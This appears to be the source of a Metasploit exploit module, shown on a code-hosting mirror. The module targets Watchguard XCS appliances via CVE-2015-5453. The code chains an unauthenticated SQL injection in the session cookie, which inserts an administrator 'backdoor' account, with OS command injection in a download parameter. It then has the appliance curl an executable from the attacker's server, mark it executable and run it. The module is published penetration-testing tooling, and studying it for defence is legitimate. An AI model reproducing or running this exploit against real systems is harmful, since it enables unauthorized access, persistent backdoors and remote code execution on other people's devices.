Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/http/watchguard_cmd_exec.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::HttpServer
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Watchguard XCS Remote Command Execution',
19
'Description' => %q{
20
This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
21
appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
22
remote attacker may insert a valid web user into the appliance database, and get access
23
to the web interface. On the other hand, a vulnerability in the web interface allows the
24
attacker to inject operating system commands as the 'nobody' user.
25
},
26
'Author' => [
27
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
['CVE', '2015-5453'],
32
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
33
],
34
'Platform' => 'bsd',
35
'Arch' => ARCH_X64,
36
'Privileged' => false,
37
'Stance' => Msf::Exploit::Stance::Aggressive,
38
'Targets' => [
39
[ 'Watchguard XCS 9.2/10.0', {}]
40
],
41
'DefaultOptions' => {
42
'SSL' => true
43
},
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2015-06-29',
46
'Notes' => {
47
'Stability' => [ CRASH_SAFE, ],
48
'Reliability' => [ REPEATABLE_SESSION, ],
49
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES, ]
50
}
51
)
52
)
53
54
register_options(
55
[
56
OptString.new('TARGETURI', [true, 'The target URI', '/']),
57
OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),
58
OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),
59
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
60
Opt::RPORT(443)
61
],
62
self.class
63
)
64
end
65
66
def check
67
# Check to see if the SQLi is present
68
res = send_request_cgi({
69
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
70
'cookie' => "sid=1'"
71
})
72
73
if res && res.body && res.body.include?('unterminated quoted string')
74
return Exploit::CheckCode::Vulnerable
75
end
76
77
Exploit::CheckCode::Safe
78
end
79
80
def exploit
81
# Get a valid session by logging in or exploiting SQLi to add user
82
print_status('Getting a valid session...')
83
@sid = get_session
84
print_good('Successfully logged in')
85
86
# Check if cmd injection works
87
test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
88
unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
89
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
90
end
91
92
# We have cmd exec, stand up an HTTP server and deliver the payload
93
vprint_status('Getting ready to drop binary on appliance')
94
95
@elf_sent = false
96
# Generate payload
97
@pl = generate_payload_exe
98
99
# Start the server and use primer to trigger fetching and running of the payload
100
begin
101
Timeout.timeout(datastore['HTTPDELAY']) { super }
102
rescue Timeout::Error => e
103
fail_with(Failure::TimeoutExpired, e.message)
104
end
105
end
106
107
def attempt_login(username, pwd_clear)
108
# Attempts to login with the provided user credentials
109
# Get the login page
110
get_login_hash = send_request_cgi({
111
'uri' => normalize_uri(target_uri.path, '/login.spl')
112
})
113
114
unless get_login_hash && get_login_hash.body
115
fail_with(Failure::Unreachable, 'Could not get login page.')
116
end
117
118
# Find the hash token needed to login
119
login_hash = ''
120
get_login_hash.body.each_line do |line|
121
next if line !~ /name="hash" value="(.*)"/
122
123
login_hash = ::Regexp.last_match(1)
124
break
125
end
126
127
sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
128
if login_hash == '' || sid_cookie == ''
129
fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
130
end
131
132
login_post = {
133
'u' => username.to_s,
134
'pwd' => pwd_clear.to_s,
135
'hash' => login_hash,
136
'login' => 'Login'
137
}
138
print_status('Attempting to login with provided credentials')
139
login = send_request_cgi({
140
'uri' => normalize_uri(target_uri.path, '/login.spl'),
141
'method' => 'POST',
142
'encode_params' => false,
143
'cookie' => "sid=#{sid_cookie}",
144
'vars_post' => login_post,
145
'vars_get' => {
146
'f' => 'V'
147
}
148
})
149
150
unless login && login.body && login.body.include?('<title>Loading...</title>')
151
return nil
152
end
153
154
sid_cookie
155
end
156
157
def add_user(user_id, username, pwd_hash, pwd_clear)
158
# Adds a user to the database using the unauthed SQLi
159
res = send_request_cgi({
160
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
161
'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
162
})
163
164
unless res && res.body
165
fail_with(Failure::Unreachable, 'Could not connect to host')
166
end
167
168
if res.body.include?('ERROR: duplicate key value violates unique constraint')
169
print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
170
else
171
fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
172
end
173
174
true
175
end
176
177
def generate_device_hash(cleartext_password)
178
# Generates the specific hashes needed for the XCS
179
pre_salt = 'BorderWare '
180
post_salt = ' some other random (9) stuff'
181
hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)
182
final_hash = Rex::Text.md5(cleartext_password + hash_tmp)
183
184
final_hash
185
end
186
187
def send_cmd_exec(uri, os_cmd, blocking: true)
188
# This is a handler function that makes HTTP calls to exploit the command injection issue
189
unless @sid
190
fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
191
end
192
193
opts = {
194
'uri' => normalize_uri(target_uri.path, uri.to_s),
195
'cookie' => "sid=#{@sid}",
196
'encode_params' => true,
197
'vars_get' => {
198
'f' => 'dnld',
199
'id' => ";#{os_cmd}"
200
}
201
}
202
203
if blocking
204
res = send_request_cgi(opts)
205
else
206
res = send_request_cgi(opts, 1)
207
end
208
209
# Handle cmd exec failures
210
if res.nil? && blocking
211
fail_with(Failure::Unknown, 'Failed to exploit command injection.')
212
end
213
214
res
215
end
216
217
def get_session
218
# Gets a valid login session, either valid creds or the SQLi vulnerability
219
username = datastore['WATCHGUARD_USER']
220
pwd_clear = datastore['WATCHGUARD_PASSWORD']
221
user_id = rand(999)
222
223
sid_cookie = attempt_login(username, pwd_clear)
224
225
return sid_cookie unless sid_cookie.nil?
226
227
vprint_error('Failed to login, attempting to add backdoor user...')
228
pwd_hash = generate_device_hash(pwd_clear)
229
230
unless add_user(user_id, username, pwd_hash, pwd_clear)
231
fail_with(Failure::Unknown, 'Failed to add user account to database.')
232
end
233
234
sid_cookie = attempt_login(username, pwd_clear)
235
236
unless sid_cookie
237
fail_with(Failure::Unknown, 'Unable to login with user account.')
238
end
239
240
sid_cookie
241
end
242
243
# Make the server download the payload and run it
244
def primer
245
vprint_status('Primer hook called, make the server get and run exploit')
246
247
# Gets the autogenerated uri from the mixin
248
payload_uri = get_uri
249
250
filename = rand_text_alpha_lower(8)
251
print_status("Sending download request for #{payload_uri}")
252
253
download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
254
vprint_status("Telling appliance to run #{download_cmd}")
255
send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)
256
register_file_for_cleanup("/tmp/#{filename}")
257
258
chmod_cmd = "chmod +x /tmp/#{filename}"
259
vprint_status('Chmoding the payload...')
260
send_cmd_exec('/ADMIN/mailqueue.spl', chmod_cmd)
261
262
exec_cmd = "/tmp/#{filename}"
263
vprint_status('Running the payload...')
264
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
265
266
vprint_status('Finished primer hook, raising Timeout::Error manually')
267
raise(Timeout::Error)
268
end
269
270
# Handle incoming requests from the server
271
def on_request_uri(cli, request)
272
vprint_status("on_request_uri called: #{request.inspect}")
273
print_status('Sending the payload to the server...')
274
@elf_sent = true
275
send_response(cli, @pl)
276
end
277
278
def autofilter
279
true
280
end
281
end
282
283